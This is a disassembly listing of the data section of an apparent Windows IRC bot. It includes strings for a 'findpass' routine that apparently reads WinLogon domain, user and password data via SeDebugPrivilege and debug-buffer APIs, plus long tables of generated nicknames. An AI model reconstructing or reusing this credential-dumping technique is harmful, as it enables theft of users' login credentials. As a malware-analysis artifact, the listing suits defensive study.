aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B30	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B7C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BCC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437C20	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		rol	byte ptr [edi-5397FFBDh], 1
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+eax*8-7833FFBEh], ch
		inc	ebx
		add	[eax+80042AAh],	ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+ebp*4-52FBFFBEh], al
		inc	edx
		add	[eax], dl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aD		; "d"
		dd offset dword_4387C8
		dd offset dword_4387C4
		dd offset dword_4387C0
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387BC
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_4387B0
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4387AC
		dd offset dword_4387A8
		dd offset dword_4387A4
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset word_438798
		dd offset dword_438794
		dd offset aI_0		; "I"
		dd offset dword_438790
		dd offset dword_43878C
		dd offset aA_0		; "A"
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset dword_438768
		dd offset dword_438764
		dd offset dword_438760
		dd offset dword_43875C
		dd offset dword_438758
		dd offset word_438754
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384EC
		dd offset off_4384E8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438354
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437F20	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
; ---------------------------------------------------------------------------
		aam	81h
		inc	ebx
		add	ah, cl
		add	dword ptr [ebx+0], offset aSick	; "sick}}"
		rol	byte ptr [ecx-7E47FFBDh], 43h
		add	[eax+2C004387h], dh
		lodsb
		inc	edx
		add	[edi+eax*8], dh
		inc	edx
		add	[eax-54h], ch
		inc	edx
		add	al, cl
		xchg	eax, [ebx+0]
		les	eax, [edi-783FFFBDh]
		inc	ebx
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset dword_42B52C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387BC
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
; ---------------------------------------------------------------------------
		lodsb
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_4387D0
		dd offset dword_4387B4
		dd offset dword_4387CC
		dd offset dword_4387B8
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4387B8
		dd offset dword_4387C4
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438170
		dd offset aBbl		; "|bbl"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset a___0		; "_|_"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438780
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4387B0
		dd offset dword_43D158
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438764
		dd offset dword_43D158
		dd offset off_438130
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380F0
		dd offset dword_4380EC
		dd offset dword_4380E4
		dd offset dword_4380D8
		dd offset dword_4380D0
		dd offset dword_4380C8
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B8
dword_4380B8	dd 7536h		; DATA XREF: ___:004380B4o
dword_4380BC	dd 7535h		; DATA XREF: ___:004380B0o
dword_4380C0	dd 7C75347Ch, 0		; DATA XREF: ___:004380ACo
dword_4380C8	dd 6F79347Bh, 7D75h	; DATA XREF: ___:004380A8o
dword_4380D0	dd 7375347Ch, 7Ch	; DATA XREF: ___:004380A4o
dword_4380D8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A0o
dword_4380E4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043809Co
dword_4380EC	dd 6C6F6Ch		; DATA XREF: ___:00438098o
dword_4380F0	dd 746F74h		; DATA XREF: ___:00438094o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438090o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043808Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438088o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438084o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438080o
aShit		db 'shit',0             ; DATA XREF: ___:0043807Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438078o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438074o
		align 10h
off_438130	dd offset word_594F42	; DATA XREF: ___:00438070o
aFree		db 'Free',0             ; DATA XREF: ___:0043805Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438058o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043804Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438040o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043803Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438038o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043801Co
aBbl		db '|bbl',0             ; DATA XREF: ___:00438010o
		align 10h
off_438170	dd offset loc_425242	; DATA XREF: ___:0043800Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00437FF8o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00437FF4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00437FF0o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FECo
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00437FE8o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FE4o
aRt		db 'rt',0               ; DATA XREF: ___:00437FE0o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:00437FDCo
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00437FD8o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00437FD4o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00437FD0o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437FB0o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F5Do
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F54o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F50o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F4Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F48o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F44o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F40o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F3Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F38o
aLag		db 'lag',0              ; DATA XREF: ___:00437F34o
aBad		db 'bad',0              ; DATA XREF: ___:00437F30o
aTree		db 'tree',0             ; DATA XREF: ___:00437F2Co
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437F28o
aLez		db 'lez',0              ; DATA XREF: ___:00437F24o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437F20o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437F1Co
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437F18o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437F14o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437F10o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437F0Co
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437F08o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437F04o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437F00o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437EFCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EF8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EF4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EF0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EECo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EE8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EE4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EE0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EDCo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437ED8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437ED4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437ED0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437ECCo
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437EC8o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437EC4o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437EC0o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437EBCo
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437EB8o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437EB4o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437EB0o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437EACo
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437EA8o
		align 4
off_438354	dd offset byte_4B5245	; DATA XREF: ___:00437EA4o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437EA0o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E9Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E98o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E94o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E90o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E8Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E88o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E84o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E80o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E7Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E78o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E74o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E70o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E6Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E68o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E64o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E60o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E5Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E58o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E54o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E50o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E4Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E48o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E44o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E40o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E3Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E38o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E34o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E30o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E2Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E28o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437E24o
aArda		db 'arda',0             ; DATA XREF: ___:00437E20o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437E1Co
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437E18o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437E14o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437E10o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437E0Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437E08o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437E04o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437E00o
		align 4
off_4384E8	dd offset byte_457441	; DATA XREF: ___:00437DFCo
dword_4384EC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DF8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DF4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DF0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DECo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DE8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DE4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DE0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DDCo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DD8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DD4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DD0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DCCo
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DC8o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437DC4o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437DC0o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437DBCo
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437DB8o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437DB4o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437DB0o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437DACo
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437DA8o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437DA4o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437DA0o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D9Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D98o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D94o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D90o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D8Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D88o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D84o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D80o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D7Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D78o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D74o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D70o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D6Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D68o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D64o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D60o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D5Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D58o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D54o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D50o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D4Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D48o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D44o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D40o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D3Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D38o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D34o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D30o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D2Co
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D28o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437D24o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437D20o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437D1Co
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437D18o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437D14o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437D10o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437D0Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437D08o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437D04o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437D00o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CFCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CF8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CF4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CF0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CECo
		align 10h
aM_0:					; DATA XREF: ___:00437CE8o
					; ___:00438034o
		unicode	0, <M>,0
word_438754	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CE4o
		align 4
dword_438758	dd 42h			; DATA XREF: ___:00437CE0o
dword_43875C	dd 56h			; DATA XREF: ___:00437CDCo
dword_438760	dd 43h			; DATA XREF: ___:00437CD8o
dword_438764	dd 58h			; DATA XREF: ___:00437CD4o
					; ___:00438068o
dword_438768	dd 5Ah			; DATA XREF: ___:00437CD0o
dword_43876C	dd 4Ch			; DATA XREF: ___:00437CCCo
dword_438770	dd 4Bh			; DATA XREF: ___:00437CC8o
dword_438774	dd 4Ah			; DATA XREF: ___:00437CC4o
dword_438778	dd 48h			; DATA XREF: ___:00437CC0o
dword_43877C	dd 47h			; DATA XREF: ___:00437CBCo
dword_438780	dd 46h			; DATA XREF: ___:00437CB8o
					; ___:00438030o
dword_438784	dd 44h			; DATA XREF: ___:00437CB4o
dword_438788	dd 53h			; DATA XREF: ___:00437CB0o
dword_43878C	dd 50h			; DATA XREF: ___:00437CA8o
dword_438790	dd 4Fh			; DATA XREF: ___:00437CA4o
dword_438794	dd 55h			; DATA XREF: ___:00437C9Co
word_438798	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C98o
		align 4
dword_43879C	dd 54h			; DATA XREF: ___:00437C94o
dword_4387A0	dd 52h			; DATA XREF: ___:00437C90o
dword_4387A4	dd 45h			; DATA XREF: ___:00437C8Co
dword_4387A8	dd 57h			; DATA XREF: ___:00437C88o
dword_4387AC	dd 51h			; DATA XREF: ___:00437C84o
dword_4387B0	dd 62h			; DATA XREF: ___:00437C78o
					; ___:00438044o
dword_4387B4	dd 78h			; DATA XREF: ___:00437C6Co
					; ___:00437FC4o
dword_4387B8	dd 7Ah			; DATA XREF: ___:00437C68o
					; ___:00437FCCo ...
dword_4387BC	dd 6Ch			; DATA XREF: ___:00437C64o
					; ___:00437F98o
dword_4387C0	dd 68h			; DATA XREF: ___:00437C58o
dword_4387C4	dd 67h			; DATA XREF: ___:00437C54o
					; ___:00438000o
dword_4387C8	dd 66h			; DATA XREF: ___:00437C50o
dword_4387CC	dd 79h			; DATA XREF: ___:00437FC8o
dword_4387D0	dd 77h			; DATA XREF: ___:00437FC0o
dword_4387D4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387E0	dd 323334h		; DATA XREF: sub_4177CF+79o
